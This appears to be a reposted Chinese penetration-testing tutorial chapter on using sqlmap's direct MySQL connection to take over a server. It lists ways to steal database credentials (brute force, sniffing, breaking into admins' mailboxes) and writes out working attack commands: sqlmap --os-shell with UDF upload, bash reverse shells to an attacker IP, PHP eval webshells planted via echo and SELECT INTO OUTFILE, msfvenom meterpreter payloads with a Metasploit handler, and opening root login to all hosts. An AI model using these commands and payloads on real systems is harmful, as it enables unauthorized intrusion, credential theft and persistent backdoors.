sqlmap從入門到精通-第四章-4-3 使用sqlmap直連MySQL獲取webshell


4.3 使用sqlmap直連MySQL獲取webshell

在一些場景下,需要通過MySQL直接連接來獲取權限,如果通過暴力破解,嗅探等方法獲取了賬戶和密碼,而服務器沒開放Web服務的情況,那么就得直接通過數據庫獲取一定的權限了

4.3.1 使用場景

(1) 獲取了MySQL數據庫賬戶和密碼

(2) 可以訪問3306端口及數據庫

4.3.2 掃描獲取root賬戶的密碼

通常有下面一些方法來獲取root賬戶的密碼

(1) phpMyAdmin 多線程批量破解工具,可以通過收集phpMyAdmin地址進行暴力破解

(2) 代碼泄露獲取數據庫賬戶和密碼

(3) 文件包含讀取配置文件中的數據庫賬戶和密碼

(4) 通過網絡嗅探獲取

(5) 滲透運維人員的郵箱及個人主機獲取

4.3.3 獲取shell

1. 通過sqlmap連接MySQL獲取shell

(1) 直接連接數據庫

sqlmap.py -d "mysql://root:123456@127.0.0.1:3306/mysql" --os-shell

需要注意的小細節

mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' or 'access://DATABASE_FILEPATH'

https://github.com/PyMySQL/PyMySQL

pip install PyMySQL

======================================================================================================

SQLAlchemy not available

pip install SQLAlchemy

============================================================================================================

[CRITICAL] SQLAlchemy connection issue ('ModuleNotFoundError: No module named 'MySQLdb'')

pip install mysql-connector-python-rf

pip install wheel

pip install -i https://pypi.douban.com/simple/ mysql-connector-python-rf

最終在kali環境下安裝如下模塊即可連接

apt-get install python-mysqldb

https://stackoverflow.com/questions/22252397/importerror-no-module-named-mysqldb

pip install pymysql 經過測試,安裝此模塊即可解決問題

 

=======================================================================================

解決本地搭建環境可以直接通過sqlmap的-d參數直接利用mysql獲取交互式shell

參考文檔:

https://xz.aliyun.com/t/7416  此篇先知的文章並未詳細說明,按照此文章的方法並未成功,結果是通過下面的文章解決問題

https://www.cnblogs.com/caya-yuan/p/11898915.html 

具體操作的命令如下:

cd /usr/lib/systemd/system

vim mariadb.service

將如下默認的mysql用戶改成root權限用戶

[Service]

Type=simple

#User=mysql

#Group=mysql

Group=root

User=root

systemctl daemon-reload

systemctl start mariadb.service

ps -ef | grep mysql  -- 這個是查看是不是root用戶運行的,確認沒有問題就可以開始操作下面的命令進行提權生成交互式shell吧

=======================================================================================

python sqlmap.py -d "mysql://root:root@106.54.35.126:3306/mysql" --os-shell   這個測試環境是我自己的vps

效果展示:

 

 

=======================================================================================

python sqlmap.py -d "mysql://root:root@106.54.35.126:3306/mysql" --os-shell

(2) 通過選擇32位或者64位操作系統webshell,執行

bash -i >& /dev/tcp/10.12.22.33/8899 0>&1

(3) 反彈到服務器10.12.22.33 實際的環境中就是自己的獨立公網IP地址

(4) 通過echo命令生成shell

echo "<?php @eval($_POST['bmfx']);?>" > /var/www/html/data/phpmyadmin/bmfx.php

如果可以通過phpmyadmin管理數據庫,就可以修改host為"%" 並執行權限更新操作,具體如下:

use mysql;

update user set host = '%' where user = 'root';

flush privileges;

注意:如果數據庫中有都個host連接,修改時可能會導致數據庫連接出問題

2. 通過MSF反彈獲取shell

(1) 使用msfvenom生成MSF反彈的PHP腳本木馬,默認端口4444

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.12.22.33 -f raw > bmfx.php

(2) 在獨立IP或者反彈服務器上運行MSF依次執行一下命令

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 10.12.22.33  //這個IP地址就是自己的獨立服務器IP地址,

show options

run 0 或者 exploit

(3) 上傳並執行PHP文件

將上面生成的bmfx.php文件上傳至目標站點,然后訪問,如果沒有問題的話,那么MSF會顯示成功反彈shell

3. 通過PHPMyAdmin管理解碼查詢生成webshell

select '<?php @eval($_POST[bmfx]);?>' INTO OUTFILE 'F:/phpstudy/www/bmfx.php'

4.3.4 實例演示

1. 直接連接MySQL數據庫

sqlmap.py -d "mysql:/root:123456@xxx.xx.xx.xx:3306/mysql" --os-shell

如果上述成功了, 會讓你選中服務器架構是32位還是64位

2. 上傳UDF文件

在上述操作選擇系統架構之后,sqlmap會自動上傳UDF文件到服務器提權位置,記住,不管獲取的shell是否成功都會顯示os-shell提示符

3. 執行命令

cat /etc/passwd

如果是真的成功獲取了shell,那么執行的結果就是我們想要的信息

4. 獲取反彈shell

雖然通過sqlmap獲取了shell,但實際操作的話着實不方便,需要使用獨立的服務器進行反彈shell

nc -lvnp 9988

在sqlmap的shell執行

bash -i >& /dev/tcp/10.12.22.33:9988 0>&1

5. 在服務器上生成webshell

上述操作如果沒有任何問題,那么就可以找到真實路徑直接生成webshell,可以在獲取的反彈shell中執行locate *.php找到網站的真實路徑,然后在該路徑下通過echo命令生成webshell,具體如下:

echo "<?php @eval($_POST['bmfx]);?>" > bmfx.php

6. 獲取webshell

上面在服務器上生成的webshell是一句話,可以通過中國菜刀連接此一句話,進行獲取webshell

7. 通過phpMyAdmin生成一句話后門

select '<?php @eval($_POST[bmfx]);?>' INTO OUTFILE '/var/www/phpmyadmin/bmfx.php'

8. 通過MSF反彈獲取shell

9. MSF提權參考

通過MSF反彈shell,執行background將Session放在后台運行,然后搜索可以利用的exploit來進行測試,具體命令如下:

background

search "關鍵字"  //這里是跟漏洞相關的關鍵字,比如search tomcat 等等

use exploit/linux

show options

set session 1

exploit

sessions -i 1

getuid

 

實戰測試,可用參考這邊文章:https://xz.aliyun.com/t/7416

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM